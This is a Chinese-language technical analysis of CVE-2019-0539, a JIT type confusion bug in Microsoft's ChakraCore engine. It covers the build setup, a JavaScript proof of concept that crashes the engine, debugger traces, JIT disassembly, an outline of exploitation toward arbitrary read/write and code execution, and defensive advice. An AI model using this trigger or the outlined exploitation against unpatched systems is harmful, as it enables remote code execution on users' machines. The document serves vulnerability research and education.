CVE-2019-0539产生的根源分析
字数 982 2025-08-29 08:31:48
CVE-2019-0539漏洞根源分析与利用技术详解
漏洞概述
CVE-2019-0539是Microsoft Edge浏览器中Chakra JavaScript引擎的JIT编译器类型混淆漏洞,由Google Project Zero的研究人员Lokihardt发现并于2019年1月修复。该漏洞允许攻击者通过精心构造的恶意网页实现远程代码执行。
环境搭建
获取有漏洞的ChakraCore版本
git clone https://github.com/Microsoft/ChakraCore.git
cd ChakraCore
git checkout 331aa3931ab69ca2bd64f7e020165e693b8030b5
msbuild /m /p:Platform=x64 /p:Configuration=Debug Build\Chakra.Core.sln
使用Time Travel Debugging (TTD)
TTD是微软推出的高级调试工具,允许记录进程执行并向前或向后重放:
- 从微软应用商店安装最新版Windbg
- 以管理员权限运行
漏洞原理分析
PoC代码
function opt(o, c, value) {
o.b = 1;
class A extends c { // 可能导致对象类型转换
}
o.a = value; // 覆盖slot数组指针
}
function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, (function () {}), {});
}
let o = {a: 1, b: 2};
let cons = function () {};
cons.prototype = o; // 使"class A extends c"触发对象类型转换
opt(o, cons, 0x1234);
print(o.a); // 访问slot数组指针导致崩溃
}
main();
关键漏洞点
-
类型混淆根源:
- 在JIT编译的代码中,对象
o最初有两个内联slot(a和b) - 当执行
class A extends c时,OP_InitClass最终调用SetIsPrototype,导致对象类型转换 - 类型转换后,slot不再内联而是存储在slot数组中
- 在JIT编译的代码中,对象
-
JIT优化假设:
- JIT代码假设对象slot始终是内联的
- 类型转换后,JIT代码仍以内联方式访问slot,导致可以覆盖slot数组指针
-
内存布局变化:
转换前对象内存布局:
00000195`cd274440 00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable'
00000195`cd274448 00000195`ca3c1d40
00000195`cd274450 00010000`00000001 // 内联slot 1 (a)
00000195`cd274458 00010000`00000001 // 内联slot 2 (b)
转换后对象内存布局:
00000195`cd274440 00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable'
00000195`cd274448 00000195`cd275d40
00000195`cd274450 00000195`cd2744c0 // slot数组指针(原内联slot 1)
00000195`cd274458 00000000`00000000
漏洞触发流程
- JIT代码错误地将
0x1234写入本应是内联slot的位置 - 实际上覆盖了slot数组指针
- 当后续访问对象属性时,尝试从被覆盖的指针(
0x1234)处读取,导致访问违例
调试分析
关键断点设置
ba w 8 poi(@rsp+58)+10 // 监控slot数组指针的写入
关键调用栈
chakracore!Js::DynamicTypeHandler::AdjustSlots
chakracore!Js::DynamicObject::DeoptimizeObjectHeaderInlining
chakracore!PathTypeHandlerBase::ConvertToSimpleDictionaryType
chakracore!PathTypeHandlerBase::SetIsPrototype
chakracore!DynamicObject::SetPrototype
chakracore!Js::JavascriptOperators::OP_InitClass
关键JIT代码
00000195`cc9c0112 803e01 cmp byte ptr [rsi],1
00000195`cc9c0115 0f85dc000000 jne 00000195`cc9c01f7
00000195`cc9c011b 488bc3 mov rax,rbx
00000195`cc9c011e 48c1e830 shr rax,30h
00000195`cc9c0122 0f85eb000000 jne 00000195`cc9c0213
00000195`cc9c0128 4c8b6b08 mov r13,qword ptr [rbx+8]
00000195`cc9c012c 498bc5 mov rax,r13
00000195`cc9c012f 48c1e806 shr rax,6
00000195`cc9c0133 4883e007 and rax,7
00000195`cc9c0137 48b9b866ebc995010000 mov rcx,195C9EB66B8h
00000195`cc9c0141 33d2 xor edx,edx
00000195`cc9c0143 4c3b2cc1 cmp r13,qword ptr [rcx+rax*8]
00000195`cc9c0147 0f85e2000000 jne 00000195`cc9c022f
00000195`cc9c014d 480f45da cmovne rbx,rdx
00000195`cc9c0151 488b4310 mov rax,qword ptr [rbx+10h]
00000195`cc9c0155 4d896610 mov qword ptr [r14+10h],r12 // 覆盖slot数组指针
漏洞利用思路
- 通过类型混淆漏洞覆盖slot数组指针
- 构造伪造的slot数组
- 通过对象属性访问实现任意地址读取/写入
- 最终实现远程代码执行
总结与防御建议
漏洞本质
该漏洞源于Chakra JIT编译器在优化过程中对对象布局做出了错误假设,未能正确处理类型转换后对象布局的变化,导致类型混淆和内存破坏。
防御措施
- 及时更新浏览器和JavaScript引擎
- 启用适当的沙箱保护机制
- 对JIT编译器进行更严格的对象布局验证
- 实现更全面的类型系统检查
研究价值
- 展示了JavaScript引擎中JIT编译器的复杂性
- 揭示了类型系统实现中的潜在风险
- 证明了TTD在漏洞分析中的强大能力
- 为后续JIT编译器安全设计提供了重要参考